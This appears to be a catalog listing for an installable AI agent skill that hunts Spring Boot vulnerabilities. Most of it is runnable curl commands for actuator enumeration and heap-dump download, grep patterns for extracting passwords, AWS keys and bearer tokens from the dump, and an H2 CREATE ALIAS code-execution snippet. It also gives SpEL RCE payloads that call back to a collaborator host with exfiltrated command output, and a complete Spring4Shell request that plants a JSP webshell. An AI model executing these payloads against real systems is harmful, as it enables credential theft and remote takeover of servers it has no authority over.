hunt-springboot
Hunt Spring Boot specific vulnerabilities — Actuator endpoints (heapdump, env, loggers, mappings, shutdown), Spring Expression Language (SpEL) injection → RCE, H2 console RCE, Jolokia JMX exposure, Spring4Shell (CVE-2022-22965), Spring Cloud Function SPEL (CVE-2022-22963), heap dump credential extraction. Use when target runs Spring Boot — detected via X-Application-Context header, /actuator, Whitelabel Error Page, or Java stack traces.
How do I install this agent skill?
npx skills add https://github.com/uphiago/recon-skills --skill hunt-springbootIs this agent skill safe to install?
- Gen Agent Trust Hubpass
This skill provides a suite of tools and instructions for security researchers to audit Spring Boot applications. It covers endpoint enumeration, credential extraction from heap dumps, and testing for RCE vulnerabilities. While the skill includes exploitation commands, they are intended for use against authorized targets, and the skill's use of system utilities is standard for its purpose.
- Socketwarn
1 alert: gptSecurity
- Snykwarn
Risk: MEDIUM · 1 issue
What does this agent skill do?
HUNT-SPRINGBOOT — Spring Boot Specific Vulnerabilities
When to Use
- Target runs Spring Boot — detected via X-Application-Context header, /actuator, Whitelabel Error Page.
- Java stack traces.
Prerequisites
- Explicit authorization, target boundaries, and rate limits for the target.
- Tooling:
curl,python3. - A writable evidence directory:
export OUTPUT_DIR="${OUTPUT_DIR:-./output}" && mkdir -p "$OUTPUT_DIR". - For any state-changing step (writes, uploads, credential attempts), obtain explicit confirmation immediately before the command.
How to Run
# Set once per engagement; every step below uses these.
TARGET="example.com" # or the engagement target
export OUTPUT_DIR="${OUTPUT_DIR:-./output}"
# Spring Boot indicators
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework"
# Actuator root (may list available endpoints)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null
# Try common base paths
for base in "" "/manage" "/management" "/app"; do
STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator")
[ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator"
done
Procedure
The phases below are the procedure. Keep each probe bounded (--max-time), record evidence beneath OUTPUT_DIR, and stop at the stop-conditions listed in Pitfalls.
Crown Jewel Targets
Spring Boot Actuator /actuator/heapdump exposed = heap dump with all secrets in memory.
Highest-value findings:
/actuator/heapdump— full JVM heap dump contains plaintext passwords, tokens, DB credentials, private keys stored anywhere in memory/actuator/env— lists all environment variables and Spring properties including secrets/actuator/shutdown— POST → shuts down the application (Critical availability impact)- H2 Console (
/h2-console) — in-memory DB admin UI → SQL query execution → potential RCE viaCREATE ALIAStrick - SpEL injection — Spring Expression Language in template fields,
@Valueannotations, SpEL-processed request params → RCE - Spring4Shell CVE-2022-22965 — Spring Framework < 5.3.18 + Tomcat → RCE via data binding
Phase 1 — Fingerprint Spring Boot
# Spring Boot indicators
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework"
# Actuator root (may list available endpoints)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null
# Try common base paths
for base in "" "/manage" "/management" "/app"; do
STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator")
[ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator"
done
Phase 2 — Actuator Endpoint Enumeration
BASE="https://$TARGET/actuator"
# High-impact endpoints
ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics"
"loggers" "info" "health" "configprops" "shutdown" "trace"
"httptrace" "auditevents" "sessions" "scheduledtasks" "caches"
"flyway" "liquibase" "refresh" "restart")
for EP in "${ENDPOINTS[@]}"; do
# Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login
# page for many paths. Require actuator-shaped JSON (or a heapdump body)
# before calling it EXPOSED.
BODY=$(curl --max-time 30 --connect-timeout 10 -s -H "Accept: application/json" "$BASE/$EP")
CT=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP")
if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html"; then
echo "[+] EXPOSED: $BASE/$EP"
fi
done
# Get environment variables (passwords, API keys)
curl --max-time 30 --connect-timeout 10 -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key\|token\|credential" | head -20
# Get all endpoint mappings (full API surface)
curl --max-time 30 --connect-timeout 10 -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -Po '"pattern":"\K[^"]+' | sort
# Get Spring beans (lists all registered beans, reveals internal architecture)
curl --max-time 30 --connect-timeout 10 -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100
Phase 3 — Heap Dump Analysis
# Download heap dump (can be large — 100MB+)
curl --max-time 30 --connect-timeout 10 -s "$BASE/heapdump" -o /tmp/heapdump.hprof
ls -lh /tmp/heapdump.hprof
# Quick grep for secrets in heap dump (binary file — use strings)
strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \
grep -v "^[a-z_]" | sort -u | head -50
# More targeted extraction
strings /tmp/heapdump.hprof | grep -Po "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20
strings /tmp/heapdump.hprof | grep -Eo "AKIA[A-Z0-9]{16}" | sort -u # AWS keys
strings /tmp/heapdump.hprof | grep -Eo "sk_live_[A-Za-z0-9]+" | sort -u # Stripe keys
strings /tmp/heapdump.hprof | grep -Eo "Bearer [A-Za-z0-9._-]+" | sort -u # Bearer tokens
# Use Eclipse Memory Analyzer (MAT) for deep analysis
# https://www.eclipse.org/mat/
Phase 4 — H2 Console RCE
# H2 console detection
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/h2-console" | grep -i "H2 Console\|H2 Database"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/h2" | grep -i "H2 Console"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/console" | grep -i "H2"
# Default credentials: sa / (empty password)
# JDBC URL: jdbc:h2:mem:testdb
# If accessible, RCE via CREATE ALIAS:
# SQL to execute:
# CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {
# Runtime rt = Runtime.getRuntime();
# String[] commands = {"sh","-c",cmd};
# Process proc = rt.exec(commands);
# return new String(proc.getInputStream().readAllBytes());
# } $$;
# CALL EXEC('id');
Phase 5 — SpEL Injection
# Spring Expression Language injection in user-controlled fields
# Test: ${7*7} or #{7*7} → if the response reflects 49, SpEL is being evaluated
# Common injection points:
# - Email template fields: "Hello ${name}"
# - Custom annotation @Value("${user.input}")
# - Spring Security expressions
# - Spring WebFlow
# Basic SpEL test
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/user/name" \
-H "Content-Type: application/json" \
-d '{"name": "#{7*7}"}'
# If returns 49 → SpEL injection confirmed
# RCE payload — note: exec() returns a Process, not a String, so a bare
# exec("id") produces NO visible output. Confirm via an OOB curl callback
# (the spawned curl makes the network request even though nothing is reflected):
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/user/name" \
-H "Content-Type: application/json" \
-d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"curl COLLAB_HOST/spel-$(id|base64)\"})}"}'
# CVE-2022-22963 — Spring Cloud Function SpEL
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/functionRouter" \
-H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"curl COLLAB_HOST/spel-rce\")" \
-d "test"
Phase 6 — Spring4Shell (CVE-2022-22965)
# Affects: Spring Framework < 5.3.18 and < 5.2.20 (and all older branches);
# fixed in 5.3.18 / 5.2.20. Requires JDK 9+ and WAR-on-Tomcat deployment.
# Requires: Java 9+, Tomcat as WAR deployment
# Detection: does the app accept class.* parameters?
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/user" \
-d "class.module.classLoader.URLs[0]=jar:http://COLLAB_HOST/test.jar!/"
# Check COLLAB for HTTP callback
# Exploitation: write webshell via class loader
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/login" \
--data-raw "username=test&password=test&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di+if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B+java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+while((a%3Din.read(b))!%3D-1)%7B+out.println(new+String(b))%3B+%7D+%7D+%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
Phase 7 — Jolokia JMX Exposure
# Jolokia provides HTTP access to JMX MBeans
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia" | python3 -m json.tool 2>/dev/null | head -20
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/actuator/jolokia" | python3 -m json.tool 2>/dev/null | head -20
# List all MBeans
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia/list" | python3 -m json.tool 2>/dev/null | grep -i "type\|operation" | head -30
# Read system properties via Jolokia (may expose credentials)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia/read/java.lang:type=Runtime/SystemProperties" | \
python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key"
# Exec MBean operations (potential RCE via MLet)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/tmp/evil"
Chain Table
| Spring Boot finding | Chain to | Impact |
|---|---|---|
/actuator/heapdump | Extract DB passwords, API keys from memory | Critical credential exfil |
/actuator/env | Read all env vars including secrets | High |
| H2 console accessible | CREATE ALIAS → RCE | Critical |
| SpEL injection | T(Runtime).exec() → OS command | Critical RCE |
| Spring4Shell | Write webshell → RCE | Critical |
| Jolokia + MLet | Remote code via MBean | Critical RCE |
Pitfalls
- Actuator endpoints without sensitive data —
/actuator/healthor/actuator/infoare intentionally public. Need/actuator/env,/actuator/heapdump, or/actuator/mappings. - /actuator/env with sanitized values — Spring Boot 2.x+ sanitizes env values by default. Need unsanitized secrets.
- /actuator/heapdump download — heapdump analysis requires Eclipse MAT or similar. The finding is the dump is accessible, not what it contains (prove with actual extracted secrets).
- /actuator/loggers modification — changing log level to DEBUG can leak sensitive data. Demonstrate the leaked data.
- Spring Boot version without CVE — version disclosure is informational unless paired with a CVE affecting that specific version.
Verification
✅ Heap dump: strings command extracts readable passwords/tokens from .hprof file
✅ Actuator/env: secrets visible in JSON response
✅ SpEL: arithmetic expression evaluates (7*7=49) or OOB callback received
✅ H2 console: SQL executed, id output returned
Severity:
- Heapdump with credentials: Critical
- SpEL RCE: Critical
- H2 console RCE: Critical
- Actuator env (passwords exposed): High
- Mappings disclosure only: Low-Medium
How can the creator link this skill?
Add the canonical catalog link to the repository README so users can inspect current installs and available audits. The publishing guide covers the complete discovery path.
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